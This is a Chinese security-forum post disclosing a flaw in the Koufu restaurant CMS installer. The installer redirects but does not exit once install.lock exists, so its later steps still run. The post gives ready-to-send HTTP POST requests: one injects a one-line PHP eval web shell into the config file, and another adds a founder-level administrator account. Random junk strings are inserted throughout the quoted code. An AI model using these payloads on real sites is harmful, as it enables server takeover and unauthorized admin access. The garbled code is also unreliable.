找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2138|回复: 0
打印 上一主题 下一主题

口福科技餐厅cms漏洞(可getshell)

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:13:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。  U& ~" W  Y4 o" z

' H6 {9 V, r6 M7 \% V<?php5 w; P3 t8 y) m3 G# ]! M( ?  m
if(file_exists("../install.lock"))
7 T1 e' a% g) W# [) c$ z' S5 |{
5 C0 K: V+ Y: r/ I: f    header("Location: ../");//没有退出
) `/ u' `. [( g}; j' [# O) P6 s: P. g3 |2 c
               % }' `, U5 O0 U8 |) }! B! O0 o
//echo 'tst';exit;$ |8 M5 v' v9 D; i
require_once("init.php");
6 l6 d8 V% l) vif(empty($_REQUEST['step']) || $_REQUEST['step']==1)) j3 i3 J+ r# c; u8 L4 w+ a- b
{
3 g( {$ i6 a& q6 h, u% ]8 a可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。7 i; _( n3 Y& t$ C- E# O* p

" m; R6 r5 h( w& E1、getshell(很危险)" f/ o0 z% x7 }& ^4 E9 _: R8 R/ h
if(empty($_REQUEST['step']) || $_REQUEST['step']==1); @! x9 h- h8 g
{
. Y6 e( _; l" C" V7 J4 X/ d# t$smarty->assign("step",1);( G; j% M& h0 ?% w! y9 s- b
$smarty->display("index.html");
/ h' O( m% W) E7 T4 d8 h% N}elseif($_REQUEST['step']==2)1 Y  P4 b& K/ a) l4 y
{
: }; g7 B4 L: y  B, ]3 ?    $mysql_host=trim($_POST['mysql_host']);) N# O. L) }4 y! C. T
    $mysql_user=trim($_POST['mysql_user']);8 A' i$ _: i# u7 V* H/ n( s; D! s
    $mysql_pwd=trim($_POST['mysql_pwd']);
) m9 ^; b. E# p- s    $mysql_db=trim($_POST['mysql_db']);
: I& z  a1 M/ D0 _# q. i    $tblpre=trim($_POST['tblpre']);+ Z9 e4 x2 W7 Y% y
    $domain==trim($_POST['domain']);
) C6 q3 x( e7 z1 m2 w9 N    $str="<?php \r\n";" ^7 n7 p& G+ s1 ?" i
    $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
2 j# S+ e: C( Z  k    $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
' K% j% V: k' H9 x- i    $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
/ ?1 f1 v" D1 o  k" D    $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";4 u! @, U; Q3 `' H/ i, O
    $str.='define("MYSQL_CHARSET","GBK");'."\r\n";6 U2 i% A/ P" z/ v
    $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";# ^3 V: E( R2 ~& w; @( G& L
    $str.='define("DOMAIN","'.$domain.'");'."\r\n";4 \: s  w+ o9 @+ }& v
    $str.='define("SKINS","default");'."\r\n";
5 O: G. @+ L" u( G" T5 L" u. M    $str.='?>';
6 ~6 B1 ^$ c* b) u    file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
, x: _4 ^& [! }2 [- @* T上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马
. G5 M6 d3 V4 ]POST /canting/install/index.php?m=index&step=2 HTTP/1.1
8 J/ F1 N5 i$ ]3 I5 CHost: 192.168.80.129- V! w" D& n: w& X$ V5 v3 I8 U. C0 W
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0) j* k: D! L. k5 _9 S- g6 U0 f0 |
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
- P7 ~5 o7 H  L+ r! u+ bAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3$ g5 N  u6 h. w+ r3 |% @  n4 j9 }1 C
Accept-Encoding: gzip, deflate8 F  L8 C( F8 g) v: o2 R- q( k
Referer: http://192.168.80.129/canting/install/index.php?step=1
' `( p% a* M! H4 S8 ~# c* ICookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
3 a! c# G2 ?% {( X9 D  ?+ MContent-Type: application/x-www-form-urlencoded% o7 `6 ?- c) w2 z  \
Content-Length: 126
" G3 K/ y' P9 P! W9 t1 \         
9 g$ W9 R; t; n& g8 r  I$ W* v5 qmysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD& L1 i$ Q6 S- Z& Y1 a
但是这个方法很危险,将导致网站无法运行。
( o; o  k. {; u' v
% T' P% j) x3 L2 L5 \3 c2、直接添加管理员: H' e1 x0 b" m% V3 o
+ Q+ L+ C: [1 a: {
elseif($_REQUEST['step']==5)
& B4 Q" z( A' V/ U: l5 t% o# ^{
6 S" @) m# o7 Q% ?( V$ p- Z- T    if($_POST)
5 I2 Q5 M/ G3 D4 C" F    {   require_once("../config/config.inc.php");4 f+ o" o$ \, P
        $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
5 [" R4 [1 l: p7 S* E' }+ f" p        mysql_select_db(MYSQL_DB,$link);
1 a) i8 ^. q. v6 P' P$ X( W        mysql_query("SET NAMES ".MYSQL_CHARSET );
5 f; v6 h% Z# N+ b  F) L9 w         mysql_query("SET sql_mode=''");" r. X5 E. E% ]$ |5 ^* R" t: d, i3 z
5 X" \. p& k+ J, ~( u8 B) d# ?
$adminname=trim($_POST['adminname']);2 D1 p! ^/ O1 ^. _8 C% a
        $pwd1=trim($_POST['pwd1']);
4 r9 p- o! a) U% A- f        $pwd2=trim($_POST['pwd2']);
; V! V. _# Q, \2 X, V: u" ?        if(empty($adminname))
! p) ^: Z4 t9 K9 _0 o* g) d% c        {0 ?/ X9 i* n, z; ^
3 x$ ]! n5 S9 d9 P" j( n
echo "<script>alert('管理员不能为空');history.go(-1);</script>";
' ]" @( q% N' q* M            exit();
) j9 @* S: W' |, J0 E        }% ~5 x5 ~4 k/ Q" ?( E: z# P
        if(($pwd1!=$pwd2) or empty($pwd1))2 y' n# d* T( \! O
        {( K- e+ f1 F) y2 N# G
            echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
( }9 ~- T  _# Q1 A0 C" T        }
. [+ j+ }9 c9 v$ m- Y. c4 [0 ~        mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
% J7 x2 ^9 x5 H, J    }2 y  q8 X0 _4 Z3 L8 y7 M9 I- q4 B
这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:
% i+ d" T, u! z! V. F+ Y7 TPOST /canting/install/index.php?m=index&step=5 HTTP/1.1
' E# h, o+ I. p$ z9 SHost: 192.168.80.129
4 y' B, Z+ t( qUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0$ f& d! r9 n% ~- u0 O. g& y5 Q" w3 x
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
/ o. @' O, Y5 E3 EAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
1 D$ B# R2 ]' |2 u! K6 S# I: fAccept-Encoding: gzip, deflate
6 x1 @# d: `; J/ N% n: RReferer: http://www.2cto.com /canting/install/index.php?step=1
$ X6 E, u: C2 P! eCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc421 `- m* c6 |5 {7 i: I
Content-Type: application/x-www-form-urlencoded
- L4 h9 z/ y6 j# J' K' Q# kContent-Length: 461 B; x/ ]. W) B: }# z; n
      
* _) P. g+ {. D/ ~( a; fadminname=qingshen&pwd1=qingshen&pwd2=qingshen​
4 M% W0 ]/ ]. k. A. e  d& F" N' U9 S
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表